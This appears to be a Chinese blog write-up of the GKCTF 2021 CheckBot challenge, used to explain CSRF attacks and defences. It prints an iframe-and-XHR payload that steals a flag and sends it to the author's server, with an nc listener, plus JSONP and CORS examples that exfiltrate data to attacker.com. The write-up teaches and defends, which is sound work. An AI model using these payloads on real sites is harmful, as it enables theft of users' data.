从GKCTF 2021 CheckBot看CSRF攻击的实战应用

张开发
2026/5/25 5:35:20 15 分钟阅读
从GKCTF 2021 CheckBot看CSRF攻击的实战应用
1. CSRF攻击初探从CheckBot题目说起第一次看到GKCTF 2021的CheckBot题目时我眼前一亮——这简直是个教科书级的CSRF实战案例。题目设计得很巧妙你需要让一个自动化的bot可以理解为模拟管理员行为的程序点击你构造的恶意链接然后通过跨站请求伪造CSRF的方式窃取flag。这道题的核心在于理解几个关键点题目页面有个admin.php接口里面藏着flag但这个接口只允许本地访问127.0.0.1题目提供的bot会点击你提交的任何链接这就像是你知道银行金库的密码但必须让银行经理亲自去开保险箱。CSRF就是那个能说服经理帮你开保险箱的魔法。2. 解题思路拆解如何让bot帮我们偷flag2.1 理解题目环境我刚开始解题时习惯性地先查看网页源代码。果然在注释里发现了提示需要通过POST方式提交URI。这提示我们可能需要构造一个特殊的请求。admin.php页面明显是关键但直接访问会返回403禁止访问——因为它设置了本地访问限制。这时候常规的XSS攻击可能行不通因为JavaScript的同源策略会阻止我们直接读取跨域内容。2.2 构造恶意页面我的解决方法是创建一个包含iframe的恶意页面html body iframe idflag srchttp://127.0.0.1/admin.php/iframe script window.onload function(){ let flag document.getElementById(flag).contentWindow.document.getElementById(flag).innerHTML; var exportFlag new XMLHttpRequest(); exportFlag.open(get, http://我的服务器IP:端口/flagis- window.btoa(flag)); exportFlag.send(); } /script /body /html这个代码做了三件事创建一个iframe加载admin.php因为是bot访问所以可以绕过本地限制等iframe加载完成后从中提取flag内容通过XHR请求把flag发送到我的服务器2.3 部署与监听把这段代码部署到公网服务器后我做了以下准备在服务器上使用nc命令监听指定端口nc -lvnp 6663把恶意页面URL提交给题目bot耐心等待有时候需要几分钟当bot访问我的恶意页面时它会以本地身份加载admin.php然后我的脚本就能成功窃取flag并发送到我的服务器。3. CSRF攻击的底层原理3.1 什么是CSRF跨站请求伪造CSRF是一种利用受害者已登录状态发起恶意请求的攻击方式。简单来说就是让受害者的浏览器代替攻击者发送请求。打个比方假设你在咖啡店登录了银行网站没退出。我递给你一张写着请转账1000元给小明的纸条你顺手就交给了柜台。因为柜台认得你是已认证客户就直接执行了——这就是CSRF的精髓。3.2 CSRF与XSS的区别很多新手容易混淆CSRF和XSS其实它们有本质区别特性CSRFXSS攻击目标利用用户身份执行操作窃取用户数据或会话执行位置受害者的浏览器受害者的浏览器依赖条件用户已认证网站存在注入漏洞典型场景转账、改密码等操作窃取cookie、钓鱼在CheckBot题目中我们实际上是结合了CSRF和少量DOM操作——用CSRF绕过本地限制然后用JavaScript提取内容。4. 防御CSRF的实战方案4.1 服务端防御措施根据OWASP建议最有效的CSRF防护措施包括CSRF Token为每个表单生成唯一token// 生成token $_SESSION[token] bin2hex(random_bytes(32)); // 验证token if (!hash_equals($_SESSION[token], $_POST[token])) { die(CSRF token validation failed); }SameSite Cookie属性// 设置Cookie时添加SameSite属性 setcookie(sessionid, $value, [ samesite Strict, secure true, httponly true ]);检查Origin/Referer头$allowedOrigins [https://example.com]; if (!in_array($_SERVER[HTTP_ORIGIN], $allowedOrigins)) { header(HTTP/1.1 403 Forbidden); exit; }4.2 前端补充防护虽然主要防护应该在后端但前端也可以做些补充敏感操作要求二次确认关键表单使用CAPTCHA验证避免使用GET请求修改数据5. CTF中的CSRF变种攻击在实战CTF比赛中CSRF经常与其他漏洞结合出现。除了CheckBot这种经典形式我还遇到过几种变种JSONP劫持利用回调函数窃取数据script function stealData(data) { new Image().src http://attacker.com/?dataJSON.stringify(data); } /script script srchttps://victim.com/api?callbackstealData/scriptCORS滥用利用宽松的CORS配置fetch(https://victim.com/api, { credentials: include // 携带cookie }) .then(res res.json()) .then(data exfiltrate(data));Flash CSRF利用已淘汰但可能存在的Flash组件这些攻击方式在近年CTF比赛中都有出现理解它们的原理对Web安全学习很有帮助。6. 从开发视角看CSRF防护作为开发者我建议在项目初期就考虑CSRF防护。现代框架通常内置防护机制Django# 在模板中自动添加token form methodpost{% csrf_token %}Spring SecurityConfiguration public class SecurityConfig extends WebSecurityConfigurerAdapter { Override protected void configure(HttpSecurity http) throws Exception { http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); } }Expressconst csrf require(csurf); const csrfProtection csrf({ cookie: true }); app.post(/transfer, csrfProtection, (req, res) { // 处理表单 });这些框架的实现方式各有特点但核心思想都是验证请求的合法性。7. 漏洞挖掘实战技巧如果你想在CTF比赛或合法渗透测试中寻找CSRF漏洞我有几个实用技巧检查表单是否缺少token手动移除token看是否仍然有效观察Cookie的SameSite属性Chrome开发者工具的Application面板测试JSONP接口尝试添加callback参数验证CORS配置发送带有Origin头的OPTIONS请求检查重定向逻辑有些SSRF漏洞可能转化为CSRF在真实环境中我通常会使用Burp Suite的CSRF PoC生成器快速测试漏洞存在性。但记住未经授权的测试是违法的一定要获得明确授权。8. 扩展思考CSRF在现代Web中的演变随着Web技术的发展CSRF攻击面也在变化。最近几年我注意到几个趋势GraphQL的CSRF虽然GraphQL通常使用POST但错误配置可能导致CSRFREST API的风险过度依赖Cookie认证的API容易受到攻击移动端CSRFApp内WebView的认证持久化可能带来风险OAuth滥用恶意利用OAuth的回调机制这些新兴场景提醒我们安全防护需要与时俱进。即便是古老的CSRF在新环境下也可能焕发新生。

更多文章